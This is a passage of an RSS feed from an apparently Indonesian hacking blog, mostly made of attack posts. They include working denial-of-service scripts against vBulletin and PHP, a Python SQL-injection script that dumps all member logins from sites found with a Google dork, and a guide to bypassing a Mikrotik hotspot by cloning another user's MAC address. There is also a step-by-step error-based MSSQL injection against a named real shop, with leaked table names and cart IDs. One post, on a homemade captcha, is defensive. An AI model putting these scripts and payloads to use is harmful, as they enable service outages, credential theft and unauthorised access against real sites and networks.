Sepertinya cukup satu aja Cara spreadingnya dari saya, jila Kalian Membutuhkan cara yang lain silahkan leave ur comments.</description><link>http://black-mygo.blogspot.com/2011/01/ardamax-keylogger-v30-complete-download.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh6.ggpht.com/_0NJqYEh59lw/TS1NM9GFq4I/AAAAAAAAACQ/QuFYH1B9E9Y/s72-c/step1111.jpg" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-2502533251472093951</guid><pubDate>Wed, 12 Jan 2011 04:49:00 +0000</pubDate><atom:updated>2011-01-20T02:52:30.843-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DDOS</category><title>DDOS Exploit for Vbullitin , PHP ,</title><description>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Just a few exploits from Inj3ct0r&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Vbullitin DoS&lt;/b&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;# VBulletin 0-day denial of service II&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;#
#Perl Script
use Socket;
if (@ARGV &amp;lt; 2) { &amp;amp;usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http://)//eg;
for ($i=0; $i&amp;lt;10; $i++)
{
$user="vbulletin".$rand.$i;
$data = "s=&amp;amp;";
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
     my $port = "80";
     my $proto = getprotobyname('tcp');

     socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
     connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
     send(SOCKET,"$foo", 0);
     syswrite STDOUT, "Fire";
}
print "nn";
system('ping $host');
sub usage {
print "tusage: n";
print "t$0  n";
print "tex: $0 127.0.0.1 /forum/n";
print "tex2: $0 127.0.0.1 / (if there isn't a dir)nn";
exit();
};
 
###############################################
# Created by SeeMe
# Greetz to In3ct0r.com Team&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;PHP DoS&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;]
$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999);
for($i=0;$i&amp;lt;2;){
$buff=bcpow($junk, '3', 2);
$buff=null;
}
//Coded By Pejvak;
?&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Vbullitin DoS 2&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[color="#00FF00"][b]import urllib,urllib2,re
[code]print "####################################"
print "#[+]ICW 0-day Domain Crasher #"
print "#[+] Exploit found by Yash [ICW] #"
print "#[+] Exploit Coded by FB1H2S [ICW] #"
print "#[+] Care-Taker d4rk-blu [ICW] #"
print "#[+] Indian Cyber Warriors #"
print "####################################\n"
print "Enter Domain Adress:"
domain=raw_input("[+]Ex: www.site.com&lt;http://www.site.com&gt;:")
url ='http://'+domain+'/misc.php?show=latestposts&amp;vsacb_resnr=10000000'
res = urllib.urlopen(url).read(200)
phpmem= re.findall('of (.*?)bytes.*?',res)
bytes=int(phpmem[0])
mb=bytes/1048576
print '[+]Server php memmory is:'+str(mb)+' MB'
print "[+]Enter the No of request you wann send:"
kill=raw_input("Some 20-30 will be enough:")
try:
for i in range(1,int(kill)):
print i
res1 = urllib.urlopen(url).read(200)
print res1
except(IOError),msg: print "Server will be FCUK'ed by now"&lt;/pre&gt;&lt;pre class="Xml" name="code"&gt;################################################################
C:\Python25&gt;python vbexploit.py
####################################
#[+]ICW 0-day Domain Crasher #
#[+] Bug found by Yash [ICW] #
#[+] Exploit Coded by FB1H2S [ICW] #
#[+] Care-Taker d4rk-blu [ICW] #
#[+] Indian Cyber Warriors #
####################################
 
Enter Domain Adress:
[+]Ex: www.site.com&lt;http://www.site.com&gt;: sitehere
 
[+]Server php memmory is:32 MB
[+]Enter the No of request you wann send:20
1
2
3
Server will be FCUK'ed by now&lt;/pre&gt;</description><link>http://black-mygo.blogspot.com/2011/01/ddos-exploit-for-vbullitin-php.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-5123423352806686532</guid><pubDate>Wed, 12 Jan 2011 04:22:00 +0000</pubDate><atom:updated>2011-01-11T20:22:23.557-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><title>Tutorial Exploit Payment Processor</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t2.gstatic.com/images?q=tbn:ANd9GcSg64GZ9TpdC-n4iM0Cu52oSHYWoOW20oEsav8xHWDP1KJRk3XM" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t2.gstatic.com/images?q=tbn:ANd9GcSg64GZ9TpdC-n4iM0Cu52oSHYWoOW20oEsav8xHWDP1KJRk3XM" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
This is a tutorial about how to use an exploit from inj3ct0r.com to compromise every username &amp;amp; password on the website.&lt;br /&gt;
Ok Let Do it.&lt;br /&gt;
&lt;br /&gt;
As an example, we'll use this one: &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://inj3ct0r.com/exploits/13546&lt;/pre&gt;&lt;br /&gt;
As you can see this is an SQL injection exploit, so you'll have to have a basic understanding of SQL injection (if you don't there are some great guides on this forum, just search). &lt;br /&gt;
&lt;br /&gt;
Now this exploit doesn't give any information about what it does, so we'll have to figure it out. All gives us is a python script.&lt;br /&gt;
By taking a look at the script we can see that it takes the target URL as an argument. Then it appends "faq.htm?farea=" + SQL injection &lt;br /&gt;
&lt;br /&gt;
The Injection code prints a username + password from a databse called "dp_members" it surrounds it with triple colons (0x3a3a3a) like:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;:::username:::password:::&lt;/pre&gt;&lt;br /&gt;
That's greatl, but how do we find vulnerable targets? Well, by looking at the script we can deduce that this google dork will find some targets for us.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;inurl:"faq.htm?farea=" &lt;/pre&gt;&lt;br /&gt;
Awesome, so now we have got our targets. All that's missing is to improve the script so that instead of getting one username, it get's all of them. This script is written entirely by me, but based on the original exploit script.&lt;br /&gt;
&lt;br /&gt;
Save this code as exploit.py.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;import sys, os, urllib2, re

os.system('cls')
os.system('clear')
print "_______________________________________________________________"
print ""
print "           by Blackmygo   [Black-mygo.blogspot.com]              "
print "         Based on http://inj3ct0r.com/exploits/13546             "
print ""
print "_______________________________________________________________"

if len(sys.argv) &amp;lt; 2:
        print "\nWhat website should we exploit? eg: http://target.com/"
        site = raw_input("Address: ")
        
else:   
        site = sys.argv[1]
        
if site[-1:] != "/":
        site += "/"

#:::  configuration     
vfile = "faq.htm"
query = "?farea=-5+union+select+1,concat(0x3a3a3a,username,0x3a,password,0x3a3a3a),3+from+dp_members+limit+"
login = "members/login.htm"
#:::  configuration     


url_attack = site + vfile + query
url_login = site + login
counter = 0
success = True

print "\n" + site
print "Exploiting now..."
print "_______________________________________________________________\n"

while success == True:
        
        limit = str(counter) + ',' + str(counter+1)+'+--'
        try:    
                doc = urllib2.urlopen( url_attack + limit ).read()
        except urllib2.HTTPError:
                print "HTTP Error 403: Forbidden"
                sys.exit(1);
        booty = re.findall(r':::blink:.*):::' , doc )
        
        if len( booty ) &amp;gt; 0:
                print booty[0]
                counter += 1
        else:
                success = False
                print "_______________________________________________________________"
                if counter == 0:
                        print "expliot failed. Try manual injection.\n\n"
                else :
                        print "Retrieved " + str(counter) + " logins. Use them at: " + site + login
&lt;/pre&gt;&lt;br /&gt;
Before we do this make sure you turn on your proxy/VPN or whatever you are using to hide your IP.&lt;br /&gt;
&lt;br /&gt;
Now., if you are on Linux / Mac OS X:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;chmod +x exploit.py
python exploit.py&lt;/pre&gt;&lt;br /&gt;
Windows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;python exploit.py&lt;/pre&gt;&lt;br /&gt;
it will ask you for your target, use one you found by using your Google dork. Be aware that not all websites listed will be vulnerable, so try a few.&lt;br /&gt;
&lt;br /&gt;
Next, just sit back and watch the magic happen. The plaintext usernames &amp;amp; passwords will go appearing in your terminal. Once the script has dumped the entire members database, it will give you the login URL so you can try them.</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-exploit-payment-processor.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-5354027072803560840</guid><pubDate>Wed, 12 Jan 2011 03:37:00 +0000</pubDate><atom:updated>2011-01-11T19:39:07.242-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Tutorial Hacking Hotspot Mikrotik</title><description>1. Download &lt;a href="http://www.ziddu.com/download/13026245/netcat.rar.html"&gt;Netcut&lt;/a&gt;terlebih dahulu, program ini untuk mengetahui MAC address yang terhubung dengan kita.&lt;br /&gt;
2. Koneksikan komputer kita dengan hotspot mikrotik&lt;br /&gt;
3. Jalankan program Netcut&lt;br /&gt;
4. Pilih LAN Card / NIC yang kita gunakan dengan mengklik menu Choice NetCard&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS0c_k3hxsI/AAAAAAAAABA/Jw9ygYyTjnM/mikrotik-hack-0.jpg" title="Mikrotik" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
5. Kemudian klik OK kembali ke layar utama, pilih salah satu network yang terkoneksi. Yang jelas bukan network kita atau network server.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="130" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS0c_8G8w0I/AAAAAAAAABE/L5Ori_u2v5Y/mikrotik-hack-1.jpg" title="Mikrotik" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
6. Salin IP address dan MAC address, bisa juga dengan mengklik PrintTable kemudian blok dan copy paste ke notepad untuk langkah selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="130" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS0c_1n0K9I/AAAAAAAAABI/qnTcBc6RYJA/mikrotik-hack-2.jpg" title="Mikrotik" width="450" /&gt;&lt;br /&gt;
&lt;br /&gt;
7. Setelah dipaste di notepad langkah selanjutnya edit nilai MAC address, pada contoh ini [00:26:5E:60:81:1C]. Hilangkan tanda [:] sehingga menjadi 00265E60811C. Nilai ini yang akan kita gunakan untuk merubah MAC address kita.&lt;br /&gt;
8. Selanjutnya kita disable dulu wireless LAN kita. Kemudian buka properties wireless LAN dan ubah nilai Local Administration MAC Network, default kosong. Isi dengan nilai tadi, pada contoh ini 00265E60811C&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS0c_5mC3kI/AAAAAAAAABM/kQNWibYww-I/mikrotik-hack-3.jpg" title="Mikrotik" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
9. Kemudian kita set IP wireless LAN kita dengan IP yang sama yaitu 192.168.182.18 dan isi juga DNS server address.&lt;br /&gt;
Untuk DNS server address bisa dicek sebelum kita merubah MAC dan IP. Jadi waktu pertama kali kita terhubung ke hotspot, dengan cara mengetik perintah dari command prompt.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;C:\&amp;gt;ipconfig/all&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Mikrotik" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS0c_1BuFgI/AAAAAAAAABQ/nQ9sm0nG4ZE/mikrotik-hack-6.jpg" alt="" width="300" height="244" /&gt;&lt;br /&gt;
&lt;br /&gt;
10. Langkah terakhir adalah meng-enable kembali wireless LAN kita. Sekarang kita bisa browsing tanpa harus ijin pada yang punya hotspot.&lt;br /&gt;
11. Hasil :&lt;br /&gt;
Sebelum melakukan clone&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Mikrotik" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS0gl_qw3HI/AAAAAAAAABc/fmDYPEGi0Ts/mikrotik-hack-7.jpg" alt="" width="350" height="130" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sesudah melakukan clone&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" title="Mikrotik" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS0glxjAvvI/AAAAAAAAABg/9R2mc3Mr2No/mikrotik-hack-8.jpg" alt="" width="350" height="130" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekian Dulu Tips Dari Saya.</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-hacking-hospot-mikrotik.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh5.ggpht.com/_0NJqYEh59lw/TS0c_k3hxsI/AAAAAAAAABA/Jw9ygYyTjnM/s72-c/mikrotik-hack-0.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-8803447958553883130</guid><pubDate>Wed, 12 Jan 2011 02:37:00 +0000</pubDate><atom:updated>2011-01-20T02:55:05.933-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>Tips Mencegah posting spamming</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcRFd-5mrr1UVT6L0nMokN--9nZeFsanZi-0d8vdVtO8egbd_WDzLw" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcRFd-5mrr1UVT6L0nMokN--9nZeFsanZi-0d8vdVtO8egbd_WDzLw" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
kali ini kita coba mencegah postingan spammer dengan image generator. Sehingga seorang user yang ingin mengirimkan sebuah komentar, harus terlebih dahulu memasukkan kode berupa angka yang tertera didalam gambar.&lt;br /&gt;
&lt;br /&gt;
Beberapa alasan validasi code menggunakan gambar adalah karena jika kita menggunakan text, sebuah bot dapat diprogram untuk membacanya, sekalipun text tersebut adalah sebuah rumus hitung-hitungan. Berbeda dengan gambar yang harus dilihat dan bukan dibaca. Mungkin yang sudah terbiasa menggunakan captcha hal ini tidak perlu dikhawatirkan, tapi buat yang kurang terbiasa menggunakan captcha atau ingin menggunakan codingan sendiri, script berikut bisa dicoba.. ^_^&lt;br /&gt;
&lt;br /&gt;
ok, go to code :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;function generateCode(){
global $no_random,$validator;
$im = imagecreatetruecolor(63,28);
$text_color = imagecolorallocate($im, 233, 14, 200);
$no_random = rand(100000,999999);
imagestring($im, 100, 5, 5, $no_random, $text_color);
ob_start();
imagejpeg($im, NULL, 100);
$contents = ob_get_contents();
ob_end_clean();
imagedestroy($im);
$validator = strrev(dechex($no_random));
$fh = fopen("./temp/".$validator.".jpg", "a+" );
fwrite( $fh, $contents );
fclose( $fh );
echo "&lt;img src='./temp/".$validator.".jpg'&gt;";
}&lt;/pre&gt;&lt;br /&gt;
script diatas adalah fungsi untuk membuat sebuah kode angka random dalam bentuk gambar. Sehingga jika sebuah bot berusaha untuk menelusuri kode validasi, maka dia hanya akan mendapati sebuah gambar dengan nama random yang juga sudah diconvert. Cara kerja fungsi diatas adalah sebagai berikut:&lt;br /&gt;
- menciptakan sebuah angka random ($no_random)&lt;br /&gt;
- kemudian mengubahnya menjadi file image beserta ukuran gambar, ukuran font, dan warna font)&lt;br /&gt;
- kemudian membuat sebuah variabel "$validator" berisi angka random tadi yang sudah dikonversi, dan tentunya kita buat sedemikian rupa agar bot tidak bisa mendapatkan angka random yang sesuai dengan yang tertera pada gambar. Pola yang kita gunakan disini adalah mengubah nilai Decimal angka random menjadi bilangan Hexa, kemudian dibalik menggunakan fungsi strrev() pada PHP.&lt;br /&gt;
&lt;br /&gt;
Penggunaan fungsi diatas pada sebuah form komentar bisa seperti ini (disesuaikan)&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;echo "&lt;form name='f' action='' method='post'&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Tulis Komentar&lt;br&gt;&lt;br /&gt;
&lt;textarea name='msg'&gt;&lt;/textarea&gt;&lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;"; generateCode();&lt;br /&gt;
echo "&lt;br&gt;Masukkan kode diatas : &lt;input type='text' name='code'&gt;&lt;br /&gt;
&lt;input type='hidden' name='validator' value='".$validator."'&gt;&lt;br /&gt;
&lt;input type='submit' name='submit'&gt;&lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/form&gt;";&lt;/pre&gt;&lt;br /&gt;
Pada saat proses pengecekkan hasil post, kita harus mengembalikan nilai $validator menjadi nilai awal yang sebenarnya. Caranya tetap sama, yakni dengan me-reverse lagi nilai $validator kemudian mengubah bilangan Hexa tersebut kembali menjadi bilangan Decimal.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;if($_POST['submit']){
$msg = $_POST['msg'];
$code = $_POST['code'];
$val = $_POST['validator'];
$getcode = hexdec(strrev($val));
if($code==$getcode){
$input = mysql_query("INSERT INTO tbl_comments
VALUES ('','".$msg."')");
echo "Pesan terkirim";
}else{
echo "Kode yang anda masukkan salah";
}
}&lt;/pre&gt;&lt;br /&gt;
Cara diatas sebenarnya cuma memanfaatkan logika ja, kalo pengen lebih rumit lagi, bisa saja ubah bilangan menjadi Biner, kemudian gunakan fungsi OR,XOR, AND, atau operator logika lainnya, yang penting pastikan bahwa angka random awal yang tertera pada gambar berbeda dengan input kode yang sudah dikonversi, dan susah untuk dipahami, ini didapat darimana... :)&lt;br /&gt;
&lt;br /&gt;
Seperti ini saja tips simple dan sederhana untuk membuat captcha.&lt;br /&gt;
Semoga Bermanfaat.&lt;br /&gt;
yarp yarp ^_^</description><link>http://black-mygo.blogspot.com/2011/01/tips-mencegah-posting-spamming.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-8420732903448472611</guid><pubDate>Mon, 10 Jan 2011 13:17:00 +0000</pubDate><atom:updated>2011-01-11T18:41:57.869-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Tutorial Hacking Use SQLi/MSSQL</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_YoCKwZhq-T4/TSsEYDhGVKI/AAAAAAAAAC0/fPg0cE7Dq58/mssql.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_YoCKwZhq-T4/TSsEYDhGVKI/AAAAAAAAAC0/fPg0cE7Dq58/mssql.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sebelumnya Saya Mohon Maaf Jaka Para Master" membaca ini, saya cuma ingin Share aja kepada yang belum tahu Caranya hacking Use SQLI/MSSQL.&lt;br /&gt;
Ok kita Mulai&lt;br /&gt;
Sebagai Contoh saya ada sebuah Website Target:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="css" name="code"&gt;http://www.bluraydvdonly.com&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Ok kita test SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20'

Microsoft OLE DB Provider for SQL Server  error '80040e14'

Unclosed quotation mark before the character string '20';'.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Nah Lo Ternyata MSSQL , ok kita selidiki lebih Lanjut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kita keluarin pesan error pake perintah convert() untuk dapet version()&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,@@version)--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Nah Lo Nongol Versinya&lt;br /&gt;
jadi kita memanfaatkan pesan error dari sql server... &lt;br /&gt;
karena kita mencoba meng-convert string menjadi integer --&amp;gt; convert(int, inject_here) maka dia akan mengeluarkan pesan error seperti diatas&lt;br /&gt;
yuk kita liat liat yg lain lagi.&lt;br /&gt;
&lt;br /&gt;
Check user pake fungsi user_name()&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,user_name())--
OR
http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,user)--


Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'dbo' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Check nama database &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,db_name())--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'BluerayDVD' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Nah Kita Bisa liat Tuh Nama Data basenya " BluerayDVD "&lt;br /&gt;
&lt;br /&gt;
Kalau mau liat database yg lainnya??? tinggal kasih index di fungsi db_name(index)&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,db_name(1))--

http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,db_name(2))--

dan seterusnya&lt;/pre&gt;&lt;br /&gt;
Nah coba sekarang kita liat isi database yg BluerayDVD.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 table_name from information_schema.tables))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'CentinelProcessing' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Tuh table pertama yg kita dapetin namanya CentinelProcessing.. &lt;br /&gt;
oya karena db_name() --&amp;gt; BluerayDVD artinya BluerayDVD adalah database yg sekarang sedang terkoneksi... jadi kita gak perlu pake ...Where table_catalog=db_name()... &lt;br /&gt;
hasilnya sama sih...&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=db_name()))--&lt;/pre&gt;&lt;br /&gt;
Klo di mysql biasanya kita pake limit untuk ngeluarin isinya satu persatu..&lt;br /&gt;
klo di mssql kita pake --&amp;gt; not in()&lt;br /&gt;
coba liat ini,, sama kayak query yg sebelumnya,, cuma ditambah not in()&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('CentinelProcessing')))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'Cities' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Tuh kita dapet tabel ke-2nya&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;select top 1 table_name from information_schema.tables where table_name not in('CentinelProcessing'))&lt;/pre&gt;&lt;br /&gt;
Ini klo diterjemahin--&amp;gt; kasih lihat table_name dari tabel `information_schema.tables` dimana table_name bukan CentinelProcessing&lt;br /&gt;
&lt;br /&gt;
lanjut ke table berikutnya,, tadi kan kita dah dapet table ke-2 yaitu Cities&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('CentinelProcessing','Cities')))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'check_sysuser' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Dapet table check_sysuser .. dah terusin tuh sampe kamu dapet semua nama table atau table yg kamu incerrr..&lt;br /&gt;
klo dah gak keluar pesan error berarti tablenya ud semuanya&lt;br /&gt;
&lt;br /&gt;
Liat nama2 column pada sebuah table, misal table CentinelProcessing&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='CentinelProcessing'))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'DataKey' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Klo kamu perhatiin kita disini memanfaatkan table2 pada information_schema untuk mendapatkan nama table dan column,, mirip2 kayak injection di mysql versi 5..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Untuk dapetin nama column berikutnya,, sama kyk ngedapetin nama table yaitu pake not in()&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='CentinelProcessing' and column_name not in('DataKey')))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'CartID' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Dapet column kedua pada tabel CentinelProcessing --&amp;gt; CartID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next coluuuuumn...&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='CentinelProcessing' and column_name not in('DataKey','CartID')))--

Microsoft OLE DB Provider for SQL Server  error '80040e07'

Syntax error converting the nvarchar value 'CID' to a column of data type int.

/PageData/page.platform.access.asp, line 11&lt;/pre&gt;&lt;br /&gt;
Truzz sampe gak kluar error brarti dah dapet semuanya...&lt;br /&gt;
sekarang kita udah dapet nama table dan column-columnnya, kita bisa lanjut liat isinya...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mari kita liat isi 'CartID' pada table CentinelProcessing&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 CartID from CentinelProcessing))--
Syntax error converting the varchar value 'CSR@TQJWQKT1POG6P4ENBMDGXPNJVT9O697FIR67ELH2DP3HD5' to a column of data type int.

http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 CartID from CentinelProcessing where CartID not in('CSR@TQJWQKT1POG6P4ENBMDGXPNJVT9O697FIR67ELH2DP3HD5')))--
Syntax error converting the varchar value 'CSR@C63CNXD3BQN78V9DJCW3426MQVHPPZ35YHRMBXZEX1B8W5' to a column of data type int.

http://www.bluraydvdonly.com/category.asp?catID=20' and 1=convert(int,(select top 1 CartID from CentinelProcessing where CartID not in('CSR@TQJWQKT1POG6P4ENBMDGXPNJVT9O697FIR67ELH2DP3HD5','CSR@C63CNXD3BQN78V9DJCW​3426MQVHPPZ35YHRMBXZEX1B8W5')))--
Syntax error converting the varchar value 'CSR@64VB3W6E22SJ2IQZNZPSB2ZV87M2JNKSU4KKRXUFP2HTPJ' to a column of data type int.&lt;/pre&gt;&lt;br /&gt;
dan seterusnya...&lt;br /&gt;
&lt;br /&gt;
